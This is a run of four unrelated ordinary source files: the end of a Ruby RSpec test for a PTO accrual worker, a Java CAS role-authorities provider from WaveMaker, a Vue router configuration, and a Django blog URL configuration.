Pto::AccrualWorker' do expect(Pto::AccrualWorker).to receive(:perform_async).with( pto_account.id, Time.current.to_i, 15, messages, current_person.id, 'Some note', pto_transaction_batch.id, ) subject.save end end context 'with pto_earned != amount' do let(:messages) do [ I18n.t('v2.hours_worked_migrations.parse.rate_calc', rates.first), I18n.t('v2.hours_worked_migrations.create.modified', name: current_person.name), ] end before { allow(subject).to receive(:pto_earned).and_return(20) } it 'performs Pto::AccrualWorker' do expect(Pto::AccrualWorker).to receive(:perform_async).with( pto_account.id, Time.current.to_i, 15, messages, current_person.id, 'Some note', pto_transaction_batch.id, ) subject.save end end end end end
/******************************************************************************* * Copyright (C) 2022-2023 WaveMaker, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ package com.wavemaker.runtime.security.provider.cas; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.StringTokenizer; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.security.cas.authentication.CasAssertionAuthenticationToken; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.AuthorityUtils; import com.wavemaker.runtime.security.core.AuthenticationContext; import com.wavemaker.runtime.security.core.AuthoritiesProvider; public class CASAuthoritiesProvider implements AuthoritiesProvider { private static final Logger logger = LoggerFactory.getLogger(CASAuthoritiesProvider.class); private String roleAttributeName; @Override public List<GrantedAuthority> loadAuthorities(AuthenticationContext authenticationContext) { if (StringUtils.isBlank(roleAttributeName)) { logger.warn("CAS role attribute is not configured"); return AuthorityUtils.NO_AUTHORITIES; } CASAuthenticationContext casAuthenticationContext = (CASAuthenticationContext) authenticationContext; CasAssertionAuthenticationToken casAssertionAuthenticationToken = casAuthenticationContext.getCasAssertionAuthenticationToken(); Map attributes = casAssertionAuthenticationToken.getAssertion().getPrincipal().getAttributes(); String roles = (String) attributes.get(roleAttributeName); StringTokenizer roleTokenizer = new StringTokenizer(roles, ","); List<String> rolesList = new ArrayList<>(); while (roleTokenizer.hasMoreTokens()) { String role = roleTokenizer.nextToken(); rolesList.add(role); } String[] rolesArray = new String[rolesList.size()]; return new ArrayList<>(AuthorityUtils.createAuthorityList(rolesList.toArray(rolesArray))); } public void setRoleAttributeName(String roleAttributeName) { this.roleAttributeName = roleAttributeName; } }
import Vue from 'vue' import Router from 'vue-router' Vue.use(Router) export default new Router({ mode: 'history', routes: [ { path: '/', redirect: '/home' }, { path: '/home', name: 'Home', // route level code-splitting // this generates a separate chunk (about.[hash].js) for this route // which is lazy-loaded when the route is visited. component: () => import(/* webpackChunkName: "about" */ './views/Home.vue') }, { path: '/questions', name: 'Questions', component: () => import(/* webpackChunkName: "about" */ './views/Questions.vue') }, { path: '/api', name: 'API', component: () => import(/* webpackChunkName: "about" */ './views/API.vue') } ] })
from django.urls import path, re_path from blog import views app_name = 'blog' urlpatterns = [ #Example: /blog/ path('', views.PostLV.as_view(), name='index'), #Example: /blog/post/ (same as /blog/) path('post/', views.PostLV.as_view(), name='post_list'), #Example: /blog/post/django-example/ re_path(r'^post/(?P<slug>[-\w]+)/$', views.PostDV.as_view(), name='post_detail'), #Example: /blog/archive/ path('archive/', views.PostAV.as_view(), name='post_archive'), #Example: /blog/archive/2019/ path('archive/<int:year>/', views.PostYAV.as_view(), name='post_year_archive'), #Example: /blog/archive/2019/01/ path('archive/<int:year>/<int:month>/', views.PostMAV.as_view(), name='post_month_archive'), #Example: /blog/archive/2019/01/10/ path('archive/<int:year>/<int:month>/<int:day>/', views.PostDAV.as_view(), name='post_day_archive'), #Example: /blog/archive/today/ path('archive/today/', views.PostTAV.as_view(), name='post_today_archive'), #Example: /blog/tag/ path('tag/', views.TagCloudTV.as_view(), name='tag_cloud'), #Example: /blog/tag/tagname/ path('tag/<str:tag>/', views.TaggedObjectLV.as_view(), name='tagged_object_list'), #Example: /blog/search/ path('search/', views.SearchFormView.as_view(), name='search'), # Example: /blog/add/ path('add/', views.PostCreateView.as_view(), name="add", ), # Example: /blog/change/ path('change/', views.PostChangeLV.as_view(), name="change", ), #Example: /blog/99/update/ path('<int:pk>/update/', views.PostUpdateView.as_view(), name="update",), #Example: /blog/99/delete/ path('<int:pk>/delete/', views.PostDeleteView.as_view(), name="delete", ), ]